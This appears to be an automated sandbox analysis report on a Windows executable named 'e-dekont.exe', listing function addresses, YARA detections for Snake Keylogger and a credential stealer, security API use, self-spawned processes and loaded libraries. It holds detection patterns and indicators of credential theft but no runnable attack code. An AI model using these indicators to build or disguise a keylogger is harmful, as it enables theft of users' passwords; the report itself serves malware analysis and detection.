Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B41DE0	2_2_05B41DE0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B41DD0	2_2_05B41DD0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B41520	2_2_05B41520
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4F528	2_2_05B4F528
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B41510	2_2_05B41510
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4F518	2_2_05B4F518
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4C560	2_2_05B4C560
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4C550	2_2_05B4C550
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B44486	2_2_05B44486
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4EC78	2_2_05B4EC78
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B40C60	2_2_05B40C60
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4EC69	2_2_05B4EC69
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B40C50	2_2_05B40C50
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4DF70	2_2_05B4DF70
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4DF60	2_2_05B4DF60
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4D6B0	2_2_05B4D6B0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4D6C0	2_2_05B4D6C0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4CE10	2_2_05B4CE10
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4CE01	2_2_05B4CE01
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4C9B8	2_2_05B4C9B8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4C9A9	2_2_05B4C9A9
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B41980	2_2_05B41980
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4F980	2_2_05B4F980
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4C108	2_2_05B4C108
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B41970	2_2_05B41970
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4F971	2_2_05B4F971
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B410B0	2_2_05B410B0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4C0F7	2_2_05B4C0F7
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4F0D0	2_2_05B4F0D0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B410C0	2_2_05B410C0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4F0C0	2_2_05B4F0C0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4E820	2_2_05B4E820
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B40011	2_2_05B40011
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4E811	2_2_05B4E811
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B48008	2_2_05B48008
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B40040	2_2_05B40040
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4E3B9	2_2_05B4E3B9
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4E3C8	2_2_05B4E3C8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4DB18	2_2_05B4DB18
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4DB09	2_2_05B4DB09
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4D268	2_2_05B4D268
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_05B4D258	2_2_05B4D258
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0DAC0	2_2_06C0DAC0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0AEA8	2_2_06C0AEA8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C08A58	2_2_06C08A58
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0CE28	2_2_06C0CE28
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0C7D8	2_2_06C0C7D8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0BB38	2_2_06C0BB38
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0B4F0	2_2_06C0B4F0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C09091	2_2_06C09091
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C074A0	2_2_06C074A0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0A858	2_2_06C0A858
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0D478	2_2_06C0D478
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C015F8	2_2_06C015F8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0C188	2_2_06C0C188
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C05EC0	2_2_06C05EC0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0AE98	2_2_06C0AE98
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0DAAF	2_2_06C0DAAF
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C05EB0	2_2_06C05EB0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C08A48	2_2_06C08A48
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C05A58	2_2_06C05A58
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C05A68	2_2_06C05A68
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C08600	2_2_06C08600
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0CE18	2_2_06C0CE18
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C06BC8	2_2_06C06BC8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0C7C9	2_2_06C0C7C9
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C037FA	2_2_06C037FA
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C03B80	2_2_06C03B80
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C06BB8	2_2_06C06BB8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C06760	2_2_06C06760
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C06770	2_2_06C06770
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C06308	2_2_06C06308
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C06318	2_2_06C06318
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0BB27	2_2_06C0BB27
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0B4E0	2_2_06C0B4E0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C008E1	2_2_06C008E1
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C078E7	2_2_06C078E7
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C008F0	2_2_06C008F0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C078F8	2_2_06C078F8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C04880	2_2_06C04880
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C00488	2_2_06C00488
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C07490	2_2_06C07490
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C00498	2_2_06C00498
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C00040	2_2_06C00040
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0A848	2_2_06C0A848
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C02C68	2_2_06C02C68
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0D468	2_2_06C0D468
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C00007	2_2_06C00007
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C03808	2_2_06C03808
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C07010	2_2_06C07010
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C07020	2_2_06C07020
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C055D9	2_2_06C055D9
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C055E8	2_2_06C055E8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C085F1	2_2_06C085F1
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C01191	2_2_06C01191
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0819A	2_2_06C0819A
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C011A0	2_2_06C011A0
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C081A8	2_2_06C081A8
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C07D40	2_2_06C07D40
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C00D48	2_2_06C00D48
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C07D50	2_2_06C07D50
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C0C178	2_2_06C0C178
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C00D38	2_2_06C00D38
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C2043C	2_2_06C2043C
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C23570	2_2_06C23570
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C2BFEC	2_2_06C2BFEC
Source: C:\Users\user\Desktop\e-dekont.exe	Code function: 2_2_06C2DC48	2_2_06C2DC48

Source: e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs e-dekont.exe
Source: e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs e-dekont.exe
Source: e-dekont.exe, 00000000.00000002.1666058439.00000000073B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs e-dekont.exe
Source: e-dekont.exe, 00000000.00000000.1635678271.000000000078E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamewGVE.exeB vs e-dekont.exe
Source: e-dekont.exe, 00000000.00000002.1660508075.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs e-dekont.exe
Source: e-dekont.exe, 00000000.00000002.1660508075.0000000002C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs e-dekont.exe
Source: e-dekont.exe, 00000000.00000002.1663643804.0000000004AE0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs e-dekont.exe
Source: e-dekont.exe, 00000000.00000002.1659851365.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs e-dekont.exe
Source: e-dekont.exe, 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs e-dekont.exe
Source: e-dekont.exe, 00000002.00000002.4086498385.0000000000DD7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs e-dekont.exe
Source: e-dekont.exe	Binary or memory string: OriginalFilenamewGVE.exeB vs e-dekont.exe

Source: e-dekont.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: e-dekont.exe PID: 7424, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: e-dekont.exe PID: 7424, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: e-dekont.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, -C.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont.exe.4720090.8.raw.unpack, -C.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, dTtXywlp86sra2ZdK5.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, dTtXywlp86sra2ZdK5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, dTtXywlp86sra2ZdK5.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, dTtXywlp86sra2ZdK5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: _0020.SetAccessControl
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: _0020.AddAccessRule
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: _0020.SetAccessControl
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont.exe.4ae0000.11.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: _0020.AddAccessRule
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, dTtXywlp86sra2ZdK5.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, dTtXywlp86sra2ZdK5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: _0020.SetAccessControl
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont.exe.465b050.9.raw.unpack, sZO3HFIRxWuEpruDfq.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@4/3

Source: C:\Users\user\Desktop\e-dekont.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e-dekont.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

Mutant created: NULL

Source: e-dekont.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: e-dekont.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\e-dekont.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: e-dekont.exe, 00000002.00000002.4088425866.0000000003216000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003207000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000031F8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: e-dekont.exe	ReversingLabs: Detection: 60%
Source: e-dekont.exe	Virustotal: Detection: 61%

Source: C:\Users\user\Desktop\e-dekont.exe

File read: C:\Users\user\Desktop\e-dekont.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\e-dekont.exe "C:\Users\user\Desktop\e-dekont.exe"
Source: C:\Users\user\Desktop\e-dekont.exe	Process created: C:\Users\user\Desktop\e-dekont.exe "C:\Users\user\Desktop\e-dekont.exe"
Source: C:\Users\user\Desktop\e-dekont.exe	Process created: C:\Users\user\Desktop\e-dekont.exe "C:\Users\user\Desktop\e-dekont.exe"	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Section loaded: propsys.dll	Jump to behavior
